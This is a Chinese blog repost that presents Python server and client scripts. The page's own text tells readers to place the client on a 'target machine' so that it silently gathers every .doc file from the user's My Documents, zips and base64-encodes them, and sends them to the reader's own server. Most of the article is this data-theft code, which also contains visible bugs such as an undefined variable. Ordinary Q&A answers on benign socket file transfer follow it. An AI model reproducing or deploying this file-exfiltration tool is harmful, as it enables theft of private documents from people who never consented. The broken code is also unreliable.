服务器获取客户端电脑文件,python实现获取客户机上指定文件并传输到服务器的方法 -电脑资料...

作者:上大王 字体:[增加 减小] 类型:转载

这篇文章主要介绍了python实现获取客户机上指定文件并传输到服务器的方法,涉及Python实现C/S架构程序与socket程序的使用技巧,需要的朋友可以参考下

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法,

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 6553500 #6M

key = ‘ouyang‘

timeout = 5

dicName = "ouyang\\"

ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

ss.bind((HOST,PORT))

ss.listen(5)

print "wating for conntecting..."

while True:

try:

cs,addr = ss.accept()

socket.setdefaulttimeout(timeout)

cs.send("200 Connected!")

#获取加密数据

encode_data = cs.recv(BUF_SIZE)

#把数据写到out.zip文件

tmpfile = open(‘out.tmp‘,‘wb‘)

try:

tmpfile.write(encode_data)

tmpfile.close()

except IOError,e:

print ‘Strange error creating IOError:%s‘ % e

tmpfile.close()

finally:

tmpfile.close()

#base64 decode 2进制 解密 decode(infile,outfile)

tmpfile = open(‘out.tmp‘,‘rb‘)

utfile = open(‘out.zip‘,‘wb‘)

base64.decode(tmpfile,outfile)

tmpfile.close()

outfile.close()

#打开zip文件

zfile = zipfile.ZipFile(‘out.zip‘,‘r‘)

#创建一个文件夹来存放获取的zip文件

if not os.path.exists(dicName):

os.mkdir(dicName)

for f in zfile.namelist():

data = zfile.read(f)

file = open(dicName+os.path.basename(f),‘w+b‘)

file.write(data)

file.close()

print "finished!!!"

zfile.close()

#后续处理 删除临时文件

os.remove(‘out.tmp‘)

cs.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

cs.close()

ss.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

ss.close()

if __name__==‘__main__‘:

main()

客户端程序:

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

for root, dirs, files in os.walk(dir, topdown):

for name in files:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

for name in dirs:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 65535

key = ‘ouyang‘

dicName = "C:\Documents and Settings\Administrator\我的文档"

extName = ‘.doc‘

#遍历搜索我的文档的doc类型

try:

filelist = []

walk_dir(dicName,filelist,extName)

except IOError,e:

print "文件处理错误: " % e

sys.exit(-1)

cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

cs.connect((HOST,PORT))

print cs.recv(BUF_SIZE)

#压缩成zip文件

zfile = zipfile.ZipFile(‘in.zip‘,‘w‘,zipfile.ZIP_DEFLATED)

for f in filelist:

zfile.write(f)

zfile.close()

#base 2进制 加密 encode(infile,outfile)

infile = open(‘in.zip‘,‘rb‘)

tmpfile = open(‘in.tmp‘,‘wb‘)

base64.encode(infile,tmpfile)

infile.close()

tmpfile.close()

#send

tmpfile = open(‘in.tmp‘,‘rb‘)

cs.send(tmpfile.read())

tmpfile.close()

#后续处理 删除中间文件

os.remove(‘in.tmp‘)

cs.close()

except socket.error ,e:

print ‘socket 出错啦:‘ % e

cs.close()

if __name__==‘__main__‘:

main()

希望本文所述对大家的Python程序设计有所帮助,python实现获取客户机上指定文件并传输到服务器的方法》(https://www.unjs.com)。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 为了在电脑 A 上运行一个客户端程序并连接到电脑 B 的服务器,您可以使用 Python 的 `socket` 库来实现。 首先,在电脑 B 上运行服务器端程序,监听指定的端口并等待连接。然后,在电脑 A 上运行客户端程序,连接到电脑 B 的服务器并发送文件。 下面是一个简单的服务器端程序示例,它监听端口 8000 并等待连接: ```python import socket # 创建 socket 对象 server_socket = socket.socket() # 获取本地主机名 host = socket.gethostname() # 设置端口 port = 8000 # 绑定端口 server_socket.bind((host, port)) # 设置最大连接数,超过后排队 server_socket.listen(5) while True: # 建立客户端连接 client_socket, addr = server_socket.accept() print("连接地址: %s" % str(addr)) msg = '欢迎访问服务器端\n' client_socket.send(msg.encode('utf-8')) client_socket.close() ``` 下面是一个简单的客户端程序示例,它连接到电脑 B 的服务器并发送文件: ```python import socket # 创建 socket 对象 client_socket = socket.socket() # 获取本地主机名 host = socket.gethostname() # 设置端口 port = 8000 # 连接服务,指定主机和端口 client_socket.connect((host, port)) # 接收小于 1024 字节的数据 ### 回答2: 电脑A连接到电脑B的服务器传输文件可以使用Python的socket模块实现。下面是一个实现的示例代码: 电脑A的代码: ```python import socket def send_file(filename, host, port): # 创建TCP套接字 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # 连接到服务器 client_socket.connect((host, port)) print("成功连接到服务器") # 读取文件内容 with open(filename, "rb") as file: data = file.read() # 发送文件数据 client_socket.sendall(data) print("文件传输完成") except ConnectionError: print("无法连接到服务器") finally: # 关闭套接字连接 client_socket.close() # 指定服务器的IP地址和端口号 server_host = "192.168.1.100" server_port = 12345 # 指定需要传输文件路径 file_path = "C:/path/to/file.txt" # 调用函数传输文件 send_file(file_path, server_host, server_port) ``` 电脑B的代码: ```python import socket def receive_file(filename, port): # 创建TCP套接字 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # 绑定套接字和端口 server_socket.bind(("", port)) print("服务器已启动,等待连接...") # 监听连接 server_socket.listen(1) # 接受连接并打开文件进行写入 client_socket, _ = server_socket.accept() with open(filename, "wb") as file: while True: # 接收数据 data = client_socket.recv(1024) if not data: break # 写入文件 file.write(data) print("文件接收完成") except ConnectionError: print("连接错误") finally: # 关闭套接字连接 server_socket.close() # 指定服务器监听的端口号 server_port = 12345 # 指定保存文件的路径和文件名 file_save_path = "C:/path/to/save/file.txt" # 调用函数接收文件 receive_file(file_save_path, server_port) ``` 请将上述代码中的`server_host`和`server_port`修改为电脑B的实际IP地址和端口号,并将`file_path`修改为电脑A上要传输文件路径。执行以上代码后,电脑A将会将指定文件传输电脑B的服务器上,并保存到指定的路径中。 ### 回答3: 要实现电脑 A 运行一个客户端程序连接到电脑 B 的服务器传输文件,可以使用Python的socket库来实现。 首先,在电脑 B 上创建一个服务器程序,监听指定的端口号,等待电脑 A 连接。以下为Python服务器端代码示例: ```python import socket # 创建TCP socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 监听的IP地址和端口号 server_address = ('localhost', 8888) # 绑定IP地址和端口号 server_socket.bind(server_address) # 开始监听 server_socket.listen(1) print('服务器已启动,等待客户端连接...') while True: # 等待客户端连接 client_socket, client_address = server_socket.accept() try: print('客户端已连接:', client_address) # 接收文件名 file_name = client_socket.recv(1024).decode() print('接收到文件名:', file_name) # 打开文件并读取文件内容 with open(file_name, 'rb') as file: file_content = file.read() # 发送文件内容给客户端 client_socket.sendall(file_content) print('文件传输完成') finally: # 关闭客户端socket连接 client_socket.close() ``` 然后,在电脑 A 上创建一个客户端程序,连接到电脑 B 的服务器,并传输文件。以下为Python客户端代码示例: ```python import socket # 创建TCP socket client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 服务器的IP地址和端口号 server_address = ('localhost', 8888) # 连接到服务器 client_socket.connect(server_address) try: # 获取传输文件名 file_name = input('请输入要传输文件名:') # 发送文件名给服务器 client_socket.sendall(file_name.encode()) # 接收服务器发送的文件内容 file_content = client_socket.recv(1024) # 保存文件到本地 with open(file_name, 'wb') as file: file.write(file_content) print('文件传输完成') finally: # 关闭客户端socket连接 client_socket.close() ``` 以上便是使用Python实现电脑 A 连接到电脑 B 服务器传输文件的代码。通过运行上述服务器端和客户端代码,可以实现文件传输

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值